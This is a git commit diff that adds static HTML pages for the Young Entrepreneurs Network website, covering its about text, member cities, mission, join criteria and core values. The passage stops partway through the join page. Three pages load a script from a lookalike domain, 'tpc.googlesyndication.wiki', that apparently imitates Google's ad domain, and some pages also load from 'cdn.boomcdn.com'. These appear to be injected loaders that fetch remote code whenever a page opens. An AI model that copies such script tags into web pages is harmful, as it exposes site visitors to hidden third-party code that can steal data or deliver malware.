initial commit
This commit is contained in:
+206
@@ -0,0 +1,206 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/about.css">
|
||||
<link rel="stylesheet" href="../style/en.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>About Y.E.N</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<section id="block-about-1" class="page-block block-about-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1a.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1b.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1c.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-1">
|
||||
<div class="container">
|
||||
<div class="content-1">
|
||||
<h2 class="animate__animated animate__fadeInLeft">About Y.E.N</h2>
|
||||
<p class="animate__animated animate__fadeInUp">Young Entrepreneur Network (YEN) started out back in 2008 and was formally established in 2012. Our members are aged between 24-45 and consist of entrepreneurs or successors to their family business.</p>
|
||||
<p class="animate__animated animate__fadeInUp">YEN members are a diverse bunch full of unique ideas but with shared values such as continually learning, pivoting and innovating in our businesses. In doing so, we create a safe and supportive organization that bonds our members together in their entrepreneurial journey.</p>
|
||||
<p class="animate__animated animate__fadeInUp">Our Chinese name 雁博会, takes a page from the wild geese, both in name, 雁(yàn) and spirit. These geese fly in a ‘V’ formation to conserve energy over the long haul and also take turns at the most tiring lead position. In YEN, we take the same approach to help each other avoid pitfalls in life and business as well as rotate leadership of the organization.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-about-2" class="page-block block-about-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-1.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-2.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-3.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-4.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/city-5.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-2">
|
||||
<div class="container">
|
||||
<!-- <div class="nav-img"><img id="nav-2" src="../images/fh-tc.png" /></div> -->
|
||||
<div class="city-items">
|
||||
<div id="content-2">
|
||||
<h5>We currently have 240 members from 11 chapters around the world in these cities:</h5>
|
||||
<span>Beijing</span>
|
||||
<span>Taiwan</span>
|
||||
<span>Shanghai</span>
|
||||
<span>Hong Kong</span>
|
||||
<span>Nanjing</span>
|
||||
<span>Singapore</span>
|
||||
<span>Shenzhen</span>
|
||||
<span>Malaysia</span>
|
||||
<span>Guangzhou</span>
|
||||
<span>Vietnam</span>
|
||||
<span>Chongqing</span>
|
||||
</div>
|
||||
</div>
|
||||
<img class="map" src="../images/map.png" />
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-about-3" class="page-block block-about-3">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2a.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2b.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2c.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-about main-about-mask-3">
|
||||
<div class="container">
|
||||
<!-- <div class="nav-img"><img id="nav-3" src="../images/sm.png" /></div> -->
|
||||
<div class="sm">
|
||||
<div id="content-3">
|
||||
<h3>Y.E.N’s Mission Statement.</h3>
|
||||
<p>We come together in YEN to create a positive and open environment, driven by the shared belief to help members learn, share and grow in their businesses and lives for the purpose of making the world a better place.</p>
|
||||
<h3>YEN’s 3 Brand Promises</h3>
|
||||
<p>1. Helping you achieve business & personal growth</p>
|
||||
<p>2. Creating your sense of belonging in YEN</p>
|
||||
<p>3. Steadfast support in sharing your most challenging endeavors</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>Contact Y.E.N</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#6f160a01410e0b0206015e2f060c03001a0b410c0002"><span class="__cf_email__" data-cfemail="bfc6dad191dedbd2d6d18effd6dcd3d0cadb91dcd0d2">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">Young Entrepreneurs Network</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
<a href="javascript:;">WeChat Official Account: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 Young Entrepreneurs Network.</div>
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
const oContainer1 = document.getElementById('block-about-1');
|
||||
const oContainer2 = document.getElementById('block-about-2');
|
||||
const oContainer3 = document.getElementById('block-about-3');
|
||||
const oNav2 = document.getElementById('nav-2');
|
||||
const oNav3 = document.getElementById('nav-3');
|
||||
const oContent2 = document.getElementById('content-2');
|
||||
const oContent3 = document.getElementById('content-3');
|
||||
|
||||
window.onscroll = function(e) {
|
||||
if(scrollY > oContainer1.offsetTop + oContainer1.offsetHeight / 3) {
|
||||
oNav2.setAttribute('class', 'animate__animated animate__fadeInLeft')
|
||||
oContent2.setAttribute('class', 'animate__animated animate__fadeInUp')
|
||||
}
|
||||
if(scrollY > oContainer1.offsetTop + oContainer2.offsetHeight + oContainer3.offsetHeight / 3) {
|
||||
oNav3.setAttribute('class', 'animate__animated animate__fadeInLeft')
|
||||
oContent3.setAttribute('class', 'animate__animated animate__fadeInRight')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
+165
@@ -0,0 +1,165 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/home.css">
|
||||
<link rel="stylesheet" href="../style/en.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>Y.E.N</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<!-- 倍伴 -->
|
||||
<section id="block-home-1" class="page-block block-home-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1a.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1c.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1d.jpg')"></div>
|
||||
</div>
|
||||
<div class="home-main-1">
|
||||
<div class="container">
|
||||
<div id="block-content-1" class="content animate__animated animate__fadeInLeft">
|
||||
<label>
|
||||
<!-- <img src="../images/pb.png" /> -->
|
||||
Supporting you in becoming a better leader, every step of the way
|
||||
</label>
|
||||
<a href="about.html">More</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 成长 -->
|
||||
<section id="block-home-2" class="page-block block-home-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-home-2b-pc.jpg" style="background-image: url('../images/block-home-2b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2c.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2d.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2e.jpg')"></div>
|
||||
</div>
|
||||
<div class="home-main-2">
|
||||
<div class="container">
|
||||
<div id="block-content-2" class="content">
|
||||
<label>
|
||||
<!-- <img src="../images/cz-tc.png" /> -->
|
||||
Grow with Y.E.N and push your boundaries beyond
|
||||
</label>
|
||||
<a href="value.html">More</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>Contact Y.E.N</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#9ce5f9f2b2fdf8f1f5f2addcf5fff0f3e9f8b2fff3f1"><span class="__cf_email__" data-cfemail="bbc2ded595dadfd6d2d58afbd2d8d7d4cedf95d8d4d6">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">Young Entrepreneurs Network</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
<a href="javascript:;">WeChat Official Account: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 Young Entrepreneurs Network.</div>
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
const oBlock1 = document.getElementById('block-home-1');
|
||||
const oBlock2 = document.getElementById('block-home-2');
|
||||
const oContent2 = document.getElementById('block-content-2');
|
||||
|
||||
window.onscroll = function(e) {
|
||||
if(scrollY > oBlock1.offsetTop + oBlock2.offsetHeight / 2) {
|
||||
oContent2.setAttribute('class', 'content animate__animated animate__fadeInRight')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
+180
@@ -0,0 +1,180 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
<meta http-equiv="Pragma" content="no-cache" />
|
||||
<meta http-equiv="Cache-Control" content="no-cache" />
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/index.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>Y.E.N</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<!-- 第一屏 -->
|
||||
<section class="page-block block-index">
|
||||
<div class="video-container">
|
||||
<video
|
||||
id="home-video"
|
||||
muted
|
||||
autoplay
|
||||
x-webkit-airplay="allow"
|
||||
x5-playsinline
|
||||
webkit-playsinline="true"
|
||||
playsinline="true"
|
||||
loop="loop"
|
||||
src="../images/video.v3.mp4"
|
||||
/>
|
||||
</div>
|
||||
<div class="main-index">
|
||||
<div class="content">
|
||||
<div id="slogan" class="title">
|
||||
<p class="en animate__animated animate__fadeInDown"><span>Hello,</span><span>Entrepreneurs</span></p>
|
||||
</div>
|
||||
<a href="home.html" class="icon-triangle-arrow animate__animated animate__bounce animate__infinite"></a>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 Young Entrepreneurs Network.</div>
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
const oDiv = document.getElementById('slogan');
|
||||
|
||||
//切换视频
|
||||
function tranVideo() {
|
||||
const ua = navigator.userAgent
|
||||
const oVideo = document.getElementById('home-video')
|
||||
if(
|
||||
(ua.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|Symbian|Windows Phone|Phone)/i)) ||
|
||||
ua.toLowerCase().match(/QQ/i) == 'qq'
|
||||
) {
|
||||
oVideo.src = '../images/video.v3.mp4'
|
||||
}
|
||||
else {
|
||||
oVideo.src = '../images/pc-video.mp4'
|
||||
}
|
||||
}
|
||||
tranVideo()
|
||||
window.onresize = tranVideo
|
||||
//切换文字
|
||||
function tranSlogan() {
|
||||
let i = 1
|
||||
const en = `<p class="en"><span>Hello,</span><span>Entrepreneurs</span></p>`
|
||||
const cnTw = `<p><span>嗨!</span><span>創業家</span></p>`
|
||||
const cn = `<p><span>你好,</span><span>创业者</span></p>`
|
||||
setInterval(function() {
|
||||
if(i == 1) {
|
||||
oDiv.innerHTML = cn
|
||||
i = 2
|
||||
}
|
||||
else if(i === 2) {
|
||||
oDiv.innerHTML = cnTw
|
||||
i = 3
|
||||
}
|
||||
else if(i === 3) {
|
||||
oDiv.innerHTML = en
|
||||
i = 1
|
||||
}
|
||||
}, 2000)
|
||||
}
|
||||
tranSlogan()
|
||||
</script>
|
||||
|
||||
<script src="https://res.wx.qq.com/open/js/jweixin-1.4.0.js"></script>
|
||||
<script>
|
||||
function doPlay() {
|
||||
document.getElementById('home-video').play();
|
||||
}
|
||||
doPlay();
|
||||
//必须在微信Weixin JSAPI的WeixinJSBridgeReady才能生效
|
||||
document.addEventListener("WeixinJSBridgeReady", function () {
|
||||
doPlay();
|
||||
}, false);
|
||||
//微信Android中无法自动播放处理
|
||||
const ua = navigator.userAgent.toLowerCase();
|
||||
const isWeixin = ua.indexOf('micromessenger') != -1;
|
||||
const isAndroid = ua.indexOf('android') != -1;
|
||||
if(isWeixin && isAndroid) {
|
||||
document.getElementById('home-video').setAttribute('poster', '../images/poster.png')
|
||||
}
|
||||
document.addEventListener("click", doPlay, false);
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
+195
@@ -0,0 +1,195 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/join.css">
|
||||
<link rel="stylesheet" href="../style/en.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>Join Us</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">About Y.E.N</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">The Y.E.N. Experience</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">Join Us</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="../tc/index.html">繁</a> | <a href="index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<section id="join-block-1" class="page-block join-block-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/join-1.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/join-2.jpg')"></div>
|
||||
<div class="slideshow-3-image pc-source" data-pc-url="../images/join-3-pc.jpg" style="background-image: url('../images/join-3.jpg')"></div>
|
||||
</div>
|
||||
<div class="join-main-1">
|
||||
<div class="container">
|
||||
<h4>To join us, you must be</h4>
|
||||
<ul>
|
||||
<li><i>1.</i>24-45 years of age</li>
|
||||
<li><i>2.</i>A business owner or successor</li>
|
||||
<li><i>3.</i>Referred by a current YEN member</li>
|
||||
<li><i>4.</i>Approved by current YEN members after interview and voting</li>
|
||||
</ul>
|
||||
<h5>We define a business owner as having an active business</h5>
|
||||
<ul>
|
||||
<li><i>1.</i>And holds at least 10% of its shares</li>
|
||||
<li><i>2.</i>That has been running for at least 1 year</li>
|
||||
<li><i>3.</i>That employs at least 3 employees</li>
|
||||
</ul>
|
||||
<h5>We define a business successor as having an active family business</h5>
|
||||
<ul>
|
||||
<li><i>1.</i>With the family holding majority shares or important board positions</li>
|
||||
<li><i>2.</i>And responsible for at least one business unit</li>
|
||||
<li><i>3.</i>And has worked for at least 2 years</li>
|
||||
<li><i>4.</i>And named/being groomed as the successor</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="join-block-2" class="page-block join-block-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/DNA-1.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/DNA-2.jpg')"></div>
|
||||
<div class="slideshow-3-image" style="background-image: url('../images/DNA-3.jpg')"></div>
|
||||
</div>
|
||||
<div class="join-main-2">
|
||||
<div class="container">
|
||||
<div class="dna-items">
|
||||
<h4>Core Values & DNA of YEN members</h4>
|
||||
<div class="item">
|
||||
<h5>Confidentiality</h5>
|
||||
<p>a. Sharing only among members</p>
|
||||
<p>b. No sharing of photos without permission</p>
|
||||
</div>
|
||||
<div class="item">
|
||||
<h5>Equality</h5>
|
||||
<p>a. Splitting expenses equally</p>
|
||||
<p>b. Equality towards every member business regardless of business revenue</p>
|
||||
<p>c. Creating an environment of a common business language based on equality</p>
|
||||
</div>
|
||||
<div class="item">
|
||||
<h5>Commitment</h5>
|
||||
<p>a. Self-less approach in giving back to Y.E.N</p>
|
||||
<p>b. Lending a listening ear without judgement</p>
|
||||
<p>c. Honest sharing of knowledge</p>
|
||||
</div>
|
||||
<div class="item">
|
||||
<h5>Sharing</h5>
|
||||
<p>a. Sincere sharing of industry knowledge and expertise</p>
|
||||
<p>b. Always ready to share resources</p>
|
||||
<p>c. Quality selection of network</p>
|
||||
</div>
|
||||
<div class="item">
|
||||
<h5>Responsibility</h5>
|
||||
<p>a. Active participation of Y.E.N activities</p>
|
||||
<p>b. Strong Initiative in Giving</p>
|
||||
<p>c. Stepping up as a leader when called upon</p>
|
||||
</div>
|
||||
<div class="item">
|
||||
<h5>Respect</h5>
|
||||
<p>a. Objective management of relationship</p>
|
||||
<p>b. Keeping feedback private to respect member privacy</p>
|
||||
</div>
|
||||
<p class="tips">If you meet the above criteria and think YEN is a good fit, please contact one of our members to find out more. We look forward to your new journey with YEN.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>Contact Y.E.N</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#85fce0ebabe4e1e8ecebb4c5ece6e9eaf0e1abe6eae8"><span class="__cf_email__" data-cfemail="ea938f84c48b8e878384dbaa838986859f8ec4898587">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">Young Entrepreneurs Network</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
